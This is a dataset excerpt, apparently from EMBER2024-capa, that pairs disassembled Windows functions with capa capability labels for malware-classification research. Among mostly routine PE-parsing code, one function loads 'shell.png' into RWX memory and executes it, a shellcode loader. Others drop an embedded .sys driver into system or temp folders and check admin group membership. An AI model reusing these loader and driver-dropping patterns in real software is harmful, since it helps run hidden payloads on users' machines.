joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x140004400]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x140004410]
mov dword [rax], 1
mov rax, qword [0x140004420]
mov dword [rax], 1
mov rax, qword [0x1400043b0]
cmp word [rax], 0x5a4d
jne 0x14000105a
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c0
mov rax, qword [0x1400043f0]
mov dword [0x14000700c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b0
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x1400044c0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x1400044a0]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x140004360]
cmp dword [rax], 1
je 0x1400010f8
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x140001077
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001110
cmp dx, 0x20b
jne 0x14000105a
cmp dword [rax + 0x84], 0xe
jbe 0x14000105a
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105a
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105a
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105a

Function at 0x140001450
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Read file on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
call dbg.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, section..rdata
mov rdx, rax
lea rax, str.shell.png
mov rcx, rax
call sym.fopen
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov r8d, 2
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 8]
mov rcx, rax
call sym.ftell
cdqe
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 8]
mov r8d, 0
mov edx, 0
mov rcx, rax
call sym.fseek
mov rax, qword [rbp - 0x10]
mov rcx, rax
call sym.malloc
mov qword [rbp - 0x18], rax
mov rcx, qword [rbp - 8]
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp - 0x18]
mov r9, rcx
mov r8d, 1
mov rcx, rax
call sym.fread
mov rax, qword [rbp - 0x10]
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x20], rax
mov rcx, qword [rbp - 0x10]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x20]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x20]
call rax
mov eax, 0
add rsp, 0x40
pop rbp
ret

Function at 0x140001800
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]
Function at 0x1400021d0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x14000221d
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x140002214
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x14000221f
add rax, 0x28
cmp rax, r9
jne 0x140002200
xor eax, eax
ret

Function at 0x140002220
Capabilities:
Parse pe header

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x1400022b0
mov rdx, qword [0x1400043b0]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x14000229e
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x14000229e
cmp word [rax + 0x18], 0x20b
jne 0x14000229e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x1400022b0
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002289
add rbx, 0x28
cmp rbx, rdi
je 0x1400022b0
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002280
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400022c0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400022e0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400022e8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400022e0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x14000233d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002334
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400022e0
add rax, 0x28
cmp rax, r9
jne 0x140002320
xor eax, eax
ret

Function at 0x140002340
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x14000235f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002368
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x14000235f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002380
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400043b0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400023a0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400023a8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400023a0
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x1400023f0
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x1400023e7
test rcx, rcx
je 0x1400023a0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x1400023d8
xor eax, eax
ret
Function at 0x140002400
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400043b0]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x14000241f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140002428
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x140002440
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400043b0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002460
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002468
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002460
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002460
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x1400024b4
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x1400024c0
add rdx, 0x28
cmp r9, rdx
jne 0x1400024a0
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x1400024d0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400043b0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x1400024f2
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002500
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400024f2
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x1400024f2
movzx edx, word [r8 + 0x14]
movzx r10d, word [r8 + 6]
lea rdx, [r8 + rdx + 0x18]
test r10w, r10w
je 0x1400024f2
lea r8d, [r10 - 1]
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop word cs:[rax + rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x140002555
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002568
add rdx, 0x28
cmp rdx, r10
jne 0x140002540
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x140002577
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x140002587
mov edx, dword [rax + 0xc]
test edx, edx
je 0x14000255e
test ecx, ecx
jg 0x140002570
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x7ff66a833390
Capabilities:
Get hostname

Disassembly:
mov r11, rsp
push rbp
push rdi
push r14
sub rsp, 0x260
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x240], rax
xor bpl, bpl
mov rdi, rdx
mov r14, rcx
test rcx, rcx
je 0x7ff66a833568
test rdx, rdx
je 0x7ff66a833568
mov qword [r11 - 0x20], rsi
xor edx, edx
mov r8d, 0x600
mov qword [r11 - 0x28], r15
mov rcx, rdi
call fcn.7ff66a84c560
xor r15d, r15d
mov dword [rdi], 0x57333244
mov esi, 0x105
cmp byte [r14 + 0x38], r15b
jne 0x7ff66a8334d3
and dword [rdi + 0xc], 0xff3ff321
mov eax, 0x3905
or dword [rdi + 0xc], 0x300321
mov word [rdi + 0x1c], ax
mov eax, dword [rdi + 0xc]
cmp byte [r14 + 0x24], r15b
je 0x7ff66a833429
cmp dword [r14 + 0x20], 2
je 0x7ff66a833429
and eax, 0xffff0fff
jmp 0x7ff66a833432
and eax, 0xffff1fff
bts eax, 0xc
mov dword [rdi + 0xc], eax
cmp byte [r14 + 0x2c], r15b
je 0x7ff66a83344b
and dword [rdi + 0xc], 0xfff1ffff
or dword [rdi + 0xc], 0x10000
jmp 0x7ff66a8334ac
and dword [rdi + 0xc], 0xfff0ffff
lea r8, [rdi + 0x27e]
mov rcx, qword [r14]
test rcx, rcx
jne 0x7ff66a83346c
lea rcx, [rdi + 0x74]
call fcn.7ff66a844e10
jmp 0x7ff66a8334ac
lea r9, [rsp + 0x20]
mov qword [rsp + 0x290], rbx
mov edx, 0x104
mov qword [rsp + 0x20], r15
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
lea rdx, [rdi + 0x74]
mov r8, rsi
lea rcx, [rdi + 0x27e]
call fcn.7ff66a8405c0
mov rbx, qword [rsp + 0x290]
test al, al
je 0x7ff66a833552
lea rcx, [rdi + 0x486]
mov dword [rsp + 0x28], 0x10
lea rdx, [rsp + 0x28]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rdi + 0x5a8]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
cmp byte [r14 + 0x39], r15b
je 0x7ff66a83354f
cmp byte [r14 + 0x3a], r15b
jne 0x7ff66a83354f
mov byte [rdi + 0x5fc], 1
lea r9, str.zdmp
add rdi, 0x74
lea rcx, [rsp + 0x30]
mov r8, rdi
call fcn.7ff66a8332d0
test eax, eax
je 0x7ff66a833543
lea rcx, [rsp + 0x30]
sub rcx, rdi
nop word [rax + rax]
lea rax, [rsi + 0x7ffffef9]
test rax, rax
je 0x7ff66a833532
movzx eax, word [rcx + rdi]
test ax, ax
je 0x7ff66a833532
mov word [rdi], ax
add rdi, 2
sub rsi, 1
jne 0x7ff66a833510
test rsi, rsi
lea rax, [rdi - 2]
cmovne rax, rdi
mov word [rax], r15w
jmp 0x7ff66a83354f
lea rcx, str.__Error:_Could_not_rename_file_extension._n
call fcn.7ff66a841110
mov bpl, 1
mov r15, qword [rsp + 0x250]
movzx eax, bpl
mov rsi, qword [rsp + 0x258]
jmp 0x7ff66a83356a
xor al, al
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0x260
pop r14
pop rdi
pop rbp
ret
Function at 0x7ff66a8358b0
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp - 0x40], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rbp - 0x10], rax
mov r15, rcx
cmp qword [rcx + 0x68], 0
je 0x7ff66a835a80
cmp byte [rcx + 0x71], 0
je 0x7ff66a835a80
mov rax, qword [rcx]
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [fcn.7ff66a8391c0]
or edx, 0xffffffff
mov rcx, r15
call rbx
cmp eax, 0xffffffff
jne 0x7ff66a83591c
xor al, al
jmp 0x7ff66a835a82
mov qword [rbp - 0x18], 0xf
mov qword [rbp - 0x20], 0
mov byte [rbp - 0x30], 0
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp - 0x30]
call 0x7ff66a83b8b0
nop
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
nop dword [rax]
lea r9, [rbp - 0x30]
cmp rdx, 0x10
cmovae r9, rcx
lea r14, [rbp - 0x30]
cmovae r14, rcx
mov rsi, qword [r15 + 0x68]
mov rdx, qword [rsi]
mov rbx, qword [rbp - 0x20]
add rbx, r9
mov rdi, qword [rdx + 0x40]
mov rcx, rdi
call qword [fcn.7ff66a8391c0]
lea rax, [rbp - 0x38]
mov qword [rsp + 0x20], rax
mov r9, rbx
mov r8, r14
lea rdx, [r15 + 0x74]
mov rcx, rsi
call rdi
test eax, eax
je 0x7ff66a8359a2
sub eax, 1
jne 0x7ff66a835a18
jmp 0x7ff66a8359a7
mov byte [r15 + 0x71], 0
lea rax, [rbp - 0x30]
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
cmovae rax, rcx
mov rbx, qword [rbp - 0x38]
sub rbx, rax
je 0x7ff66a8359f4
lea rax, [rbp - 0x30]
cmp rdx, 0x10
cmovae rax, rcx
mov r9, qword [r15 + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, rax
call fcn.7ff66a8534e0
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
cmp rbx, rax
jne 0x7ff66a835a25
cmp byte [r15 + 0x71], 0
je 0x7ff66a835a29
test rbx, rbx
jne 0x7ff66a835950
xor r8d, r8d
lea edx, [rbx + 8]
lea rcx, [rbp - 0x30]
call 0x7ff66a83b370
jmp 0x7ff66a835941
sub eax, 2
mov rdx, qword [rbp - 0x18]
mov rcx, qword [rbp - 0x30]
je 0x7ff66a835a29
xor bl, bl
jmp 0x7ff66a835a2b
mov bl, 1
cmp rdx, 0x10
jb 0x7ff66a835a7b
lea rax, [rdx + 1]
cmp rax, 0x1000
jb 0x7ff66a835a76
test byte [rbp - 0x30], 0x1f
je 0x7ff66a835a49
call fcn.7ff66a850e0c
int3
mov rax, qword [rcx - 8]
cmp rax, rcx
jb 0x7ff66a835a58
call fcn.7ff66a850e0c
int3
sub rcx, rax
cmp rcx, 8
jae 0x7ff66a835a67
call fcn.7ff66a850e0c
int3
cmp rcx, 0x27
jbe 0x7ff66a835a73
call fcn.7ff66a850e0c
int3
mov rcx, rax
call fcn.7ff66a848a14
movzx eax, bl
jmp 0x7ff66a835a82
mov al, 1
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.7ff66a8489f0
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
Function at 0x7ff66a840920
Capabilities:
Get token membership

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0x90
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rbp + 0x47], rax
xor ebx, ebx
mov word [rbp + 0x3b], 0x500
lea rax, [rbp + 0x27]
mov dword [rbp + 0x43], ebx
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x37]
mov dword [rsp + 0x48], ebx
mov r9d, 0x220
mov dword [rsp + 0x40], ebx
lea r8d, [rbx + 0x20]
mov dword [rsp + 0x38], ebx
mov dl, 2
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
mov dword [rbp + 0x3f], ebx
mov dword [rbp + 0x37], ebx
mov qword [rbp + 0x27], rbx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x7ff66a8409ab
mov rdx, qword [rbp + 0x27]
lea r8, [rbp + 0x43]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp + 0x43]
test eax, eax
cmove ecx, ebx
mov dword [rbp + 0x43], ecx
mov rcx, qword [rbp + 0x27]
test rcx, rcx
je 0x7ff66a8409ba
call qword [sym.imp.ADVAPI32.dll_FreeSid]
lea rax, [rbp + 0x2f]
xor r9d, r9d
mov qword [rsp + 0x50], rax
lea rcx, [rbp + 0x37]
mov dword [rsp + 0x48], ebx
mov dl, 1
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
lea r8d, [r9 + 0x12]
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
je 0x7ff66a840a0d
mov rdx, qword [rbp + 0x2f]
lea r8, [rbp + 0x3f]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov ecx, dword [rbp + 0x3f]
test eax, eax
cmove ecx, ebx
mov dword [rbp + 0x3f], ecx
mov rcx, qword [rbp + 0x2f]
test rcx, rcx
je 0x7ff66a840a1c
call qword [sym.imp.ADVAPI32.dll_FreeSid]
cmp byte [rbp + 0x3f], bl
jne 0x7ff66a840a2a
cmp byte [rbp + 0x43], bl
jne 0x7ff66a840a2a
xor al, al
jmp 0x7ff66a840a2c
mov al, 1
mov rcx, qword [rbp + 0x47]
xor rcx, rsp
call fcn.7ff66a8489f0
mov rbx, qword [rsp + 0xa0]
add rsp, 0x90
pop rbp
ret

Function at 0x7ff66a841350
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push rbx
sub rsp, 0x270
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov rbx, rcx
lea rdx, [rsp + 0x40]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x7ff66a84140c
mov r9, rbx
mov qword [rsp + 0x20], 0x80
mov r8d, 0x80
lea rdx, [rsp + 0x1e0]
lea rcx, [rsp + 0x30]
call fcn.7ff66a854074
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.WS2_32.dll_inet_addr]
mov ebx, eax
cmp eax, 0xffffffff
jne 0x7ff66a8413eb
lea rcx, [rsp + 0x1e0]
call qword [sym.imp.WS2_32.dll_gethostbyname]
test rax, rax
jne 0x7ff66a8413e2
lea rcx, str.__Error:_Gethostbyname___cannot_retrieve_IP_from_hostname._r_n
call fcn.7ff66a841110
xor ebx, ebx
jmp 0x7ff66a8413eb
mov rax, qword [rax + 0x18]
mov rcx, qword [rax]
mov ebx, dword [rcx]
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, ebx
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.7ff66a8489f0
add rsp, 0x270
pop rbx
ret
mov edx, eax
lea rcx, str.__Error:__WSAStartup_failed:__d_r_n
call fcn.7ff66a841110
mov ecx, 1
call fcn.7ff66a853c48
int3
Function at 0x7ff66a8446d0
Capabilities:
Initialize winhttp library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
xor r9d, r9d
mov dword [rsp + 0x20], 0
movzx edi, r8w
mov rsi, rdx
mov rbx, rcx
xor r8d, r8d
lea rcx, [0x7ff66a887d28]
lea edx, [r9 + 1]
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rbx], rax
test rax, rax
jne 0x7ff66a844736
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._Error:_WinHttpOpen_failed_with_error_code___d_n
call fcn.7ff66a8466b0
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
xor r9d, r9d
movzx r8d, di
mov rdx, rsi
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rbx + 8], rax
test rax, rax
jne 0x7ff66a844778
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._Error:_WinHttpConnect_failed_with_error_code___d_n
call fcn.7ff66a8466b0
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov eax, 0x1bb
cmp di, ax
sete al
mov byte [rbx + 0x10], al
mov al, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x7ff66a844e10
Capabilities:
Get hostname

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x2b0
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x2a0], rax
mov rbx, r8
mov rdi, rcx
mov r8d, 0x208
lea rcx, [rsp + 0x90]
xor edx, edx
call fcn.7ff66a84c560
xor esi, esi
mov dword [rsp + 0x58], 0x10
mov word [rdi], si
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x70]
mov word [rbx], si
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x7ff66a844f11
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
movzx ecx, word [rsp + 0x6a]
movzx edx, word [rsp + 0x68]
movzx r8d, word [rsp + 0x66]
movzx r9d, word [rsp + 0x62]
movzx eax, word [rsp + 0x6c]
movzx r10d, word [rsp + 0x60]
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x40], ecx
lea rcx, [rsp + 0x90]
mov dword [rsp + 0x38], edx
mov edx, 0x104
mov dword [rsp + 0x30], r8d
lea r8, str._s__04d_02d_02d__02d_02d_02d.dmp
mov dword [rsp + 0x28], r9d
lea r9, [rsp + 0x70]
mov dword [rsp + 0x20], r10d
call fcn.7ff66a83f2d0
lea r9, [rsp + 0x50]
mov r8, rbx
mov edx, 0x104
lea rcx, [rsp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFullPathNameW]
test eax, eax
je 0x7ff66a844f11
mov r8d, 0x105
mov rdx, rdi
mov rcx, rbx
call fcn.7ff66a8405c0
movzx eax, al
jmp 0x7ff66a844f13
mov eax, esi
mov rcx, qword [rsp + 0x2a0]
xor rcx, rsp
call fcn.7ff66a8489f0
lea r11, [rsp + 0x2b0]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
Function at 0x7ff66a844f40
Capabilities:
Delete file
Extract resource via kernel32 functions
Write file on windows

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
push rdi
push r14
sub rsp, 0x50
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov rsi, rdx
mov rbx, rcx
xor r14d, r14d
xor r9d, r9d
mov qword [rsp + 0x30], r14
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rsi
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x7ff66a844fa6
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea r8, [0x7ff66a888184]
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rdi, rax
test rax, rax
je 0x7ff66a845062
mov rdx, rdi
mov qword [rsp + 0x80], rbp
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdx, rdi
xor ecx, ecx
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov rcx, rbx
mov ebp, eax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
je 0x7ff66a84502a
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], 0x80
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x20], 2
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x7ff66a84502e
xor al, al
jmp 0x7ff66a84505a
lea r9, [rsp + 0x40]
mov dword [rsp + 0x40], r14d
mov r8d, ebp
mov qword [rsp + 0x20], r14
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movzx eax, bl
mov rbp, qword [rsp + 0x80]
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.7ff66a8489f0
mov rbx, qword [rsp + 0x88]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x7ff66a845080
Capabilities:
Get common file path
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rbx
push rbp
push rsi
push rdi
sub rsp, 0x250
mov rax, qword [0x7ff66a893088]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rsi, r8
xor edx, edx
mov r8d, 0x104
movzx ebp, r9w
mov rbx, rcx
call fcn.7ff66a84c560
call fcn.7ff66a840880
lea rcx, [rsp + 0x30]
mov edx, 0x105
test al, al
je 0x7ff66a8450d3
call qword [sym.imp.KERNEL32.dll_GetSystemWow64DirectoryW]
jmp 0x7ff66a8450d9
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test rsi, rsi
lea rdi, [0x7ff66a888188]
lea r9, [rsp + 0x30]
mov edx, 0x104
cmovne rdi, rsi
lea r8, str._sDrivers_s.sys
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call fcn.7ff66a838140
movzx esi, bp
mov rdx, rbx
mov ecx, esi
call fcn.7ff66a844f40
test al, al
jne 0x7ff66a8451b5
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x20a
call fcn.7ff66a84c560
mov r9, rdi
lea r8, str.__TEMP___s.sys
mov edx, 0x105
lea rcx, [rsp + 0x30]
call fcn.7ff66a838140
mov r8d, 0x104
lea rcx, [rsp + 0x30]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
mov rdx, rbx
mov ecx, esi
call fcn.7ff66a844f40
test al, al
jne 0x7ff66a8451b5
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x20a
call fcn.7ff66a84c560
lea rdx, [rsp + 0x30]
mov ecx, 0x105
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea r9, [rsp + 0x30]
mov qword [rsp + 0x20], rdi
lea r8, str._s_s.sys
mov edx, 0x104
mov rcx, rbx
call fcn.7ff66a838140
mov rdx, rbx
mov ecx, esi
call fcn.7ff66a844f40
test al, al
je 0x7ff66a8451b7
mov al, 1
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.7ff66a8489f0
mov rbx, qword [rsp + 0x278]
add rsp, 0x250
pop rdi
pop rsi
pop rbp
ret